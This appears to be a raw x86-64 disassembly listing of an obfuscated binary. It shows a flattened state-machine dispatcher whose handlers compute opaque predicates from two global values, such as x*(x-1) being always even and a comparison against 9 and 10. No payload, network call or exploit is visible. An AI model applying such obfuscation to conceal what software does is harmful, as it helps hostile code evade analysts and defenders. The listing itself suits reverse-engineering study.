xor al, bl
or al, dl
mov ebx, eax
not bl
mov edx, ecx
xor dl, 1
and bl, dl
or dl, al
and al, cl
or al, bl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x56402df
mov ebx, 0xf8ea944
cmovne eax, ebx
test dl, 1
mov edx, 0x56402df
jmp 0x14019dc59
cmp eax, 0x73618b90
jle 0x14016f850
cmp eax, 0x7405b08e
jg 0x1401712b6
cmp eax, 0x73f58a14
jg 0x140174d21
cmp eax, 0x73618b91
je 0x14017ae43
cmp eax, 0x739d3fd1
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xf430d3fa
and ecx, 0xbcf2c05
or ecx, edx
mov edx, ecx
xor edx, 0xf430d3fa
xor ecx, 0xbcf2c04
mov ebx, edx
and ebx, 0xfffffffe
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x377f0b95
and ecx, 0xc880f46a
or ecx, edx
xor ecx, 0x377f0b95
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, dl
xor al, 1
or al, r8b
or dl, bl
or cl, r8b
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xddefeefd
mov ebx, 0xa93159e5
cmovne ecx, ebx
test al, 1
mov eax, 0xddefeefd
jmp 0x14018b3fd
cmp eax, 0x3a1296ce
jle 0x14016fa05
cmp eax, 0x3cdd8412
jg 0x1401712ec
cmp eax, 0x3c744139
jg 0x140174ee1
cmp eax, 0x3a1296cf
je 0x14017ae58
cmp eax, 0x3c10566c
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
or edi, 0x5551fa39
mov ecx, edi
not ecx
or edx, 0xa0aa0100
and edx, 0xf0ea8910
and ebx, 0x5117229
or ebx, edx
and edi, 0xf0ea8910
and ecx, 0xa0404c6
or ecx, edi
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xece0895
and ecx, 0xf131f76a
or ecx, edx
mov edx, ecx
xor edx, 0xa4600d53
mov ebx, ecx
xor ebx, 0xa4600d52
and ebx, edx
xor ecx, 0x1b8810a0
and ecx, 0x1bc819f1
and edx, 0xe437e60e
or edx, ecx
xor edx, 0xe437e60f
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0x5ae459bb
and ebx, edx
not edx
and edx, 0x7a103240
and ecx, 0x85efcdbf
or ecx, edx
mov edx, ecx
xor edx, 0xa049a9
xor ecx, 0x5a001000
or ecx, 0xa51ba644
mov edi, ebx
not edi
mov esi, ecx
and esi, 0x4b54b412
and edx, 0x10a049a9
or edx, esi
or ecx, edi
and edi, 0x4b54b412
and ebx, 0xb4ab4bed
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x791d24ed
and ecx, 0x86e2db12
or ecx, edx
mov edx, ecx
xor edx, 0xc048008
xor ecx, 0x20814d10
and edx, 0xf7cb04e
and ecx, 0xf0834fb1
or ecx, edx
mov edx, ecx
xor edx, 0x70300e
xor ecx, 0x800141b0
and ecx, 0x8f0dc1f0
and edx, 0x70f23e0f
or edx, ecx
xor edx, 0x70f23e0f
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and al, dl
and cl, bl
or cl, al
or bl, dl
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov edx, ebx
not dl
and dl, al
or al, bl
and bl, cl
or bl, dl
mov ecx, eax
xor cl, bl
test bl, bl
mov edx, 0xfe598fed
mov ebx, 0xfbffc55d
cmovne edx, ebx
test al, 1
mov eax, 0xfe598fed
jmp 0x14019c520
cmp eax, 0x4fdb2de4
jle 0x14016fbc7
cmp eax, 0x513066b2
jg 0x140171322
cmp eax, 0x5018658a
jg 0x140174ff3
cmp eax, 0x4fdb2de5
je 0x14017af9c
cmp eax, 0x4ff0fcdf
jne 0x14016c950
mov eax, 0x74053961
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0xa43a29e
jle 0x14016fc08
cmp eax, 0xb88817b
jg 0x140171358
cmp eax, 0xab988a5
jg 0x14017512f
cmp eax, 0xa43a29f
je 0x14017afb1
cmp eax, 0xa867a78
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xca8556bc
and ecx, edx
and edx, 0x357aa943
or edx, ebx
mov ebx, edx
xor ebx, 0x31700000
xor edx, 0xca8556bc
mov edi, ecx
not edi
mov esi, edx
and esi, 0x868aad4f
and ebx, 0x797552b0
or ebx, esi
or edx, edi
and edi, 0x868aad4f
and ecx, 0x797552b0
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ebx, edx
xor ebx, 1
and ebx, edx
mov ecx, edx
not ecx
and ecx, 0x2276916b
and edx, 0xdd896e94
or edx, ecx
mov edi, edx
xor edi, 0xdc884204
mov ecx, ebx
not ecx
xor edx, 0x2276916a
mov esi, ecx
and esi, 0x313acf1
and ebx, 0xfcec530e
or ebx, esi
or ecx, edx
and edx, 0x313acf1
and edi, 0xfcec530e
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
mov edx, ecx
not edx
mov ebx, ecx
xor ebx, 0xced322a3
and ebx, ecx
or ecx, 0x312cdd5c
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xb0c4d7ab
and edx, 0x4e132000
or edx, esi
or ecx, edi
and edi, 0xb0c4d7ab
and ebx, 0x4f3b2854
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x312cdd5c
and ecx, 0xced322a3
or ecx, edx
mov edx, ecx
not edx
and edx, 0x845c68e6
and ecx, 0x7ba39719
or ecx, edx
mov edx, ecx
xor edx, 0x13a00418
xor ecx, 0x4040e4
and ecx, 0x6843d3e5
and edx, 0x97bc2c1a
or edx, ecx
xor edx, 0x97bc2c1a
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
xor al, 1
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and dl, al
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, cl
mov eax, edx
xor al, 1
and cl, al
xor al, cl
test dl, 1
mov edx, 0x1bbeed1f
mov ebx, 0xb044b69d
cmovne edx, ebx
test cl, cl
mov ecx, 0x1bbeed1f
cmove edx, ecx
jmp 0x14019e132
cmp eax, 0x6c91d901
jle 0x14016fdb5
cmp eax, 0x6cfff2b4
jg 0x140171496
cmp eax, 0x6cc08cd9
jg 0x14017521a
cmp eax, 0x6c91d902
je 0x14017afcd
cmp eax, 0x6cbdab4a
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
mov ebx, edx
xor ebx, 0x87c5a66c
and ebx, edx
not edx
mov edi, edx
and edi, 0x8644a408
and ecx, 0x1810264
or ecx, edi
mov edi, ecx
xor edi, 0x810204
xor ecx, 0xfe7efd9b
mov esi, ebx
not esi
mov eax, ecx
and eax, 0x813898e9
and edi, 0x6c52604
or edi, eax
or ecx, esi
and esi, 0x813898e9
and ebx, 0x7ec76716
or ebx, esi
xor ebx, edi
not ecx
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x803c5df3
and ecx, 0x7fc3a20c
or ecx, eax
xor ecx, 0x7f9fb9e
mov eax, ecx
and eax, edx
xor ecx, edx
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl cl
mov ebx, ecx
and al, cl
xor cl, r9b
or bl, r9b
xor bl, 1
or bl, cl
xor bl, 1
and dl, r9b
or al, dl
xor al, bl
mov ecx, eax
xor cl, 1
and bl, cl
xor cl, bl
test cl, 1
mov ecx, 0x82114a2b
mov edx, 0xa14b9023
cmovne ecx, edx
test al, al
mov eax, ecx
mov edx, 0x82114a2b
cmovne eax, edx
test bl, bl
jmp 0x1401a14db
cmp eax, 0x31ce7036
jle 0x14016fdf6
cmp eax, 0x32636116
jg 0x1401714cc
cmp eax, 0x31f15b10
jg 0x140175245
cmp eax, 0x31ce7037
je 0x14017b0d7
cmp eax, 0x31d3a375
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0xdfb83dde
mov ebx, edi
and ebx, 0x2047c220
or ebx, edx
xor ebx, 0x2047c220
mov edx, edi
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xdb9e8065
and edx, 0x24617f9a
or edx, ebx
mov ebx, edx
xor ebx, 0x20411d18
xor edx, 0xdb9e8065
mov esi, edx
and esi, 0x44aa6282
and ebx, 0xbb559d7d
or ebx, esi
or edx, edi
and edi, 0x44aa6282
and ecx, 0xbb559d7d
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
cmp edx, 0xffffffff
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
mov eax, edx
or cl, dl
and dl, r8b
xor al, r8b
or al, dl
mov r9d, eax
xor r9b, 1
or bl, r8b
xor bl, 1
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, r9b
or dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xf9656496
mov ebx, 0xd32ce0eb
cmovne ecx, ebx
test dl, dl
mov edx, ecx
mov ebx, 0xf9656496
jmp 0x1401a216b
cmp eax, 0x5d4e1a51
jle 0x14016fe37
cmp eax, 0x5dfb3956
jg 0x140171675
cmp eax, 0x5dcc139a
jg 0x140175270
cmp eax, 0x5d4e1a52
je 0x14017b23b
cmp eax, 0x5d9b538b
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xab8ac1c9
and edx, ebx
not ebx
and ebx, 0x36bedeb1
and ecx, 0xc941214e
or ecx, ebx
mov ebx, ecx
xor ebx, 0x8000140
xor ecx, 0x228ac081
or ecx, 0x54753e36
mov edi, edx
not edi
mov esi, ecx
and esi, 0x872de0bf
and ebx, 0x28820140
or ebx, esi
or ecx, edi
and edi, 0x872de0bf
and edx, 0x78d21f40
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x54753e36
and ecx, 0xab8ac1c9
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0x910677e8
and edi, 0x6ef98816
or edi, esi
or edx, ebx
and ebx, 0x910677e8
and ecx, 0x6ef98817
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xef97ff07
and edx, 0x106800f8
or edx, ecx
xor edx, 0x106800f8
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov r11d, eax
xor r11b, cl
and r11b, al
mov r10d, r9d
xor r10b, r8b
and r10b, r9b
mov eax, r10d
not al
mov edx, r11d
xor dl, 1
mov ebx, edx
and bl, r11b
mov r9d, edx
and r9b, bl
xor bl, dl
or bl, r9b
xor bl, 1
or dl, r11b
xor dl, 1
mov r9d, ebx
and r9b, dl
xor dl, bl
or dl, r9b
and al, r10b
mov ebx, eax
and bl, r10b
xor al, r10b
or al, bl
xor al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
or bl, r8b
xor bl, 1
xor cl, r8b
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov ebx, eax
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0x273f977b
mov eax, 0xb43680a4
cmovne ebx, eax
test cl, 1
mov eax, 0x273f977b
jmp 0x1401834a4
cmp eax, 0x1f401000
jle 0x14016fe78
cmp eax, 0x2128239e
jg 0x14017179a
cmp eax, 0x2026e402
jg 0x14017530e
cmp eax, 0x1f401001
je 0x14017b36a
cmp eax, 0x1f5f328b
jne 0x14016c950
mov eax, 0x7ce676bb
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x7b0ad4c3
jle 0x14016ff67
cmp eax, 0x7bc48ced
jg 0x1401718d0
cmp eax, 0x7b23852d
jg 0x1401754b1
cmp eax, 0x7b0ad4c4
je 0x14017b4b8
cmp eax, 0x7b22e6a1
jne 0x14016c950
mov eax, 0x62fbde90
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x441e0c53
jle 0x1401700d3
cmp eax, 0x452d78fb
jg 0x1401719fc
cmp eax, 0x44c9fd8e
jg 0x140175636
cmp eax, 0x441e0c54
je 0x14017b5b4
cmp eax, 0x44bde4b2
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea esi, [rcx - 1]
imul esi, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x1a922597
mov edi, esi
and edi, 0xe56dda68
or edi, ebx
mov ebx, edi
not ebx
and ebx, 0xa7630ab2
and edi, 0x589cf54d
or edi, ebx
mov edx, edi
xor edx, 0x420ed0db
xor edi, 0xbdf12f24
and ecx, edi
and edx, esi
or edx, ecx
not edx
or edx, edi
cmp edx, 0xffffffff
sete r9b
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, dl
mov ecx, eax
xor cl, dl
or cl, bl
xor cl, 1
xor al, r9b
not al
and al, r9b
xor dl, r8b
not dl
and dl, r8b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
xor dl, cl
mov eax, edx
not al
and al, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x5018658b
mov ebx, 0xa46c1d0f
cmovne edx, ebx
test al, al
mov eax, 0x5018658b
cmove edx, eax
test cl, cl
jmp 0x1401a1f7f
cmp eax, 0x4bcdc94
jle 0x140170240
cmp eax, 0x56402de
jg 0x140171bf6
cmp eax, 0x4ebd062
jg 0x1401757bd
cmp eax, 0x4bcdc95
je 0x14017b782
cmp eax, 0x4d3013a
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov edi, ecx
and edi, 1
or edi, ebx
and edx, 0x5e531378
and ecx, 0xa1acec87
or ecx, edx
mov edx, ecx
xor edx, 0x2004ac81
mov esi, edi
not esi
mov ebx, esi
and ebx, 0x8bbb527e
and edi, 0x7444ad81
or edi, ebx
xor ecx, 0xa131278
and ecx, 0x8bbb527e
and edx, 0x7444ad81
or edx, ecx
xor edx, edi
not edx
or edx, esi
cmp edx, 0xffffffff
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor bl, al
and bl, al
not al
and al, cl
xor cl, dl
and cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, 1
xor bl, cl
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0xf9937b20
mov edx, 0xb88817c
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0xf9937b20
jmp 0x14019f616
cmp eax, 0x4c4d85b0
jg 0x1401702e1
cmp eax, 0x4bdfed89
jg 0x140173a31
cmp eax, 0x4b3421c7
je 0x14017b87f
cmp eax, 0x4bcb2358
jne 0x14016c950
mov eax, 0x8219bb31
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x69766968
jg 0x140171cd3
cmp eax, 0x694924c7
jg 0x1401757e8
cmp eax, 0x692ebafa
je 0x14017ba24
cmp eax, 0x69363b61
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x702a113a
and ecx, eax
and eax, 0x8fd5eec5
or eax, edx
xor eax, 0x8fd5eec5
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ebx, eax
not ebx
mov ecx, ebx
and ecx, 0xfa6bc4da
and eax, 0x5943b25
or eax, ecx
mov esi, eax
xor esi, 0x5943b25
xor eax, 0xfa6bc4da
mov edi, eax
or edi, 0xdad4fc06
mov ecx, edi
not ecx
or ebx, 0x252b03f9
mov edx, ebx
not edx
and edi, 0xc0857ca3
and ecx, 0x252a0358
or ecx, edi
and ebx, 0xc0857ca3
and edx, 0x1a508004
or edx, ebx
xor edx, ecx
mov ebx, edx
not ebx
and ebx, 0xdad4fc07
and edx, 0x252b03f8
or edx, ebx
and eax, 0x5606834
mov ecx, esi
and ecx, 0xfa9f97cb
or ecx, eax
xor ecx, 0x5606835
and esi, 1
or esi, ecx
not esi
mov eax, edx
and eax, esi
xor esi, edx
or esi, eax
mov eax, esi
mov ecx, esi
xor ecx, 0x24a280dd
and ecx, esi
not esi
and esi, 0x22800d
and eax, 0x248000d0
or eax, esi
xor eax, 0x248000d0
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x78a83d5
and ecx, 0xf8757c2a
or ecx, eax
mov eax, ecx
xor eax, 0x8893ec14
xor ecx, 0x3200300
and ecx, 0x576413e3
and eax, 0xa89bec1c
or eax, ecx
mov ecx, eax
xor ecx, 0xa0910810
xor eax, 0x542400e2
and eax, 0x5c2ee4ee
and ecx, 0xa3d11b11
or ecx, eax
xor ecx, 0x5c2ee4ee
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402656c4], 9
setg cl
xor al, cl
xor cl, al
and cl, al
mov edx, ecx
xor dl, al
and dl, cl
mov ebx, ecx
and cl, al
not al
xor bl, 1
and bl, al
or cl, bl
mov eax, edx
xor al, cl
mov eax, 0xb15c7fc0
mov ebx, 0x51e6c5f8
cmovne eax, ebx
test cl, cl
jmp 0x14018c623
cmp eax, 0x2e647d8c
jg 0x140171e4a
cmp eax, 0x2d94812f
jg 0x140175996
cmp eax, 0x2c7eabf4
je 0x14017bafa
cmp eax, 0x2d0e28a2
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0xfffffffe
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov esi, ebx
and esi, ecx
xor ecx, ebx
or ecx, esi
mov ebx, ecx
not ebx
and ebx, 0x9f42f3f5
and ecx, 0x60bd0c0a
or ecx, ebx
mov ebx, ecx
xor ebx, 0x60a00800
and edi, 0xeeb80378
and edx, 0x1147fc87
or edx, edi
mov edi, edx
xor edi, 0xa881
xor ecx, 0x9f42f3f5
xor edx, 0xeeb80378
mov esi, ecx
and esi, 0x1b5f557e
and ebx, 0xe4a0aa81
or ebx, esi
or ecx, edx
and edx, 0x1b5f557e
and edi, 0xe4a0aa81
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne cl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl dl
mov eax, edx
and cl, dl
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
xor al, 1
and bl, r8b
or cl, bl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x6f01293c
mov ebx, 0x24c5a304
cmovne eax, ebx
test cl, cl
jmp 0x14018c623
cmp eax, 0x599802a6
jg 0x140172033
cmp eax, 0x5969e760
jg 0x140175af3
cmp eax, 0x59193bc5
je 0x14017bc33
cmp eax, 0x5942a788
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0xfffffffe
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
mov esi, ebx
and esi, edi
xor edi, ebx
or edi, esi
and edx, 0x15dfa22d
and ecx, 0xea205dd2
or ecx, edx
mov edx, ecx
xor edx, 0xea205dd2
xor ecx, 0x15dfa22d
and ecx, edi
not edi
and edx, edi
or ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne r8b
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
xor bl, r8b
xor bl, 1
mov edx, eax
and dl, cl
xor dl, 1
mov r8d, ecx
xor r8b, dl
or dl, cl
xor dl, 1
or dl, r8b
xor dl, bl
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
test bl, bl
mov ecx, 0xf1cef79c
mov ebx, 0xd32ce0eb
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0xf1cef79c
jmp 0x1401a26bd
cmp eax, 0x1c434dc6
jg 0x140172133
cmp eax, 0x1c043f9a
jg 0x140175cdb
cmp eax, 0x1be7b50c
je 0x14017bc48
cmp eax, 0x1bfc307c
jne 0x14016c950
mov eax, 0xdab1c438
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x777fde36
jg 0x140172169
cmp eax, 0x77009f02
jg 0x140175e38
cmp eax, 0x76248fd8
je 0x14017bd4c
cmp eax, 0x765068d6
jne 0x14016c950
mov eax, 0x2fcf7b8f
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x409d31e7
jg 0x1401723b1
cmp eax, 0x4020826f
jg 0x140175e63
cmp eax, 0x3fedc720
je 0x14017be5d
cmp eax, 0x4007ab21
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov r8d, eax
not r8d
mov ebx, eax
xor ebx, 0xfffffffe
and ebx, eax
mov ecx, eax
or ecx, 1
mov edi, ebx
not edi
mov esi, ecx
and esi, 0xd1a3cf91
mov edx, r8d
and edx, 0x2e5c306e
or edx, esi
or ecx, edi
and edi, 0xd1a3cf91
and ebx, 0x2e5c306e
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
and r8d, 0xad3a550b
and eax, 0x52c5aaf4
or eax, r8d
mov edx, eax
xor edx, 0x52c5aaf4
xor eax, 0xad3a550b
and eax, ecx
not ecx
and edx, ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete bl
setne al
cmp dword [0x1402656c4], 0xa
setl cl
xor al, cl
xor al, 1
mov r11d, ecx
or r11b, bl
xor r11b, 1
or r11b, al
mov r8d, r11d
xor r8b, 1
mov eax, ebx
xor al, cl
and bl, al
and al, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov r9d, eax
xor r9b, 1
mov ecx, r11d
and cl, r8b
mov ebx, r9d
and bl, al
mov r10d, r11d
and r10b, cl
xor cl, r11b
or cl, r10b
mov r10d, r9d
and r10b, bl
xor bl, r9b
or bl, r10b
mov edx, ecx
xor dl, 1
and dl, bl
xor bl, 1
and bl, cl
or bl, dl
xor r9b, r11b
or al, r8b
xor al, 1
or al, r9b
mov ecx, eax
xor cl, bl
test al, 1
mov eax, 0xcecac451
mov edx, 0xdbb22e30
cmovne eax, edx
test bl, 1
cmove eax, edx
test cl, 1
mov ecx, 0xcecac451
jmp 0x1401a14db
cmp eax, 0xfca3d29
jg 0x1401724c8
cmp eax, 0xf877944
jg 0x140175f1b
cmp eax, 0xeea90cf
je 0x14017bfd9
cmp eax, 0xf164daa
jne 0x14016c950
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x6f4b7169
and ecx, 0x90b48e96
or ecx, edi
or eax, ebx
and ebx, 0x6f4b7169
and edx, 0x90b48e96
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov edx, eax
not edx
and edx, 0x8b354dcd
mov ecx, eax
and ecx, 0x74cab232
or ecx, edx
mov edx, ecx
xor edx, 0x74cab232
xor ecx, 0x89040148
mov ebx, edx
and ebx, 0x37d5cc49
and eax, 0xc82a33b6
or eax, ebx
mov ebx, eax
not ebx
and ebx, 0xd63ecc84
and eax, 0x29c1337b
or eax, ebx
mov edi, eax
xor edi, 0x410c822
and ecx, 0xc946217a
mov ebx, edx
and ebx, 0x36b9de85
or ebx, ecx
xor ebx, 0xc946217b
and edx, 1
or edx, ebx
mov ecx, edx
not ecx
xor eax, 0xe1eb00cc
mov ebx, eax
and ebx, 0xdac5379d
and edi, 0x253ac862
or edi, ebx
or eax, edx
and edx, 0xdac5379d
and ecx, 0x253ac862
or ecx, edx
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xd354f8a8
and ecx, eax
not eax
and eax, 0xd354f8a8
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x2cab0757
and ecx, 0xd354f8a8
or ecx, eax
sete al
cmp dword [0x1402656c4], 0xa
setl cl
mov edx, ecx
xor dl, al
mov ebx, edx
xor bl, 1
or cl, al
xor cl, 1
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
xor dl, cl
or cl, bl
mov ebx, edx
xor bl, cl
test dl, dl
mov eax, 0x5e86b0d9
mov edx, 0x42b5c6b3
cmovne eax, edx
test cl, cl
cmovne eax, edx
not bl
test bl, 1
mov ecx, 0x5e86b0d9
jmp 0x1401a14db
cmp eax, 0x6fa0250f
jg 0x1401725d3
cmp eax, 0x6f4ca943
jg 0x14017605d
cmp eax, 0x6ef73f5b
je 0x14017bff2
cmp eax, 0x6f01293c
jne 0x14016c950
mov eax, 0x2d0e28a2
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x363dfa10
jg 0x1401726d5
cmp eax, 0x3577fbf5
jg 0x14017629d
cmp eax, 0x3538db16
je 0x14017c134
cmp eax, 0x35584d3c
jne 0x14016c950
mov eax, 0x9cc4100c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x6137f3c6
jg 0x14017280e
cmp eax, 0x60d562d9
jg 0x1401763a4
cmp eax, 0x60941aff
je 0x14017c149
cmp eax, 0x60d4d51f
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x8ec1d89c
and ebx, 0x713e2763
or ebx, esi
or ecx, edi
and edi, 0x8ec1d89c
and edx, 0x713e2763
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
or edx, 1
mov edi, edx
not edi
and ebx, 0xfffffffe
and ecx, 1
or ecx, ebx
mov ebx, ecx
not ebx
mov esi, edx
and esi, 0xda702566
and edi, 0x258fda98
or edi, esi
or edx, ebx
and ebx, 0xda702566
and ecx, 0x258fda99
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ebx, edx
not ebx
or edx, 0x362dc5bb
mov edi, edx
not edi
or ebx, 0xc9d23a44
mov ecx, ebx
not ecx
and edx, 0xe4ef82de
and edi, 0x9103800
or edi, edx
and ebx, 0xe4ef82de
and ecx, 0x12004521
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x9264a6f2
and ecx, 0x6d9b590d
or ecx, edx
mov edx, ecx
xor edx, 0x4006248
xor ecx, 0x51369c06
and edx, 0xe8062f8
and ecx, 0xf17f9d07
or ecx, edx
xor ecx, 0xe8062f8
cmp ecx, 0xffffffff
sete r9b
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl bl
mov eax, r8d
xor r9b, cl
and r9b, cl
xor cl, r8b
or r8b, bl
xor al, bl
not al
and al, bl
xor al, 1
mov ebx, r8d
xor bl, al
or al, r8b
xor al, 1
or al, bl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
mov edx, ecx
not dl
xor al, 1
and dl, cl
xor dl, 1
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
xor dl, al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x46e5c9c4
mov ebx, 0x5969e761
cmovne eax, ebx
test dl, 1
cmovne eax, ebx
not cl
test cl, 1
mov ecx, 0x46e5c9c4
jmp 0x1401a14db
cmp eax, 0x2553243b
jg 0x140172922
cmp eax, 0x24cf9a62
jg 0x1401763cf
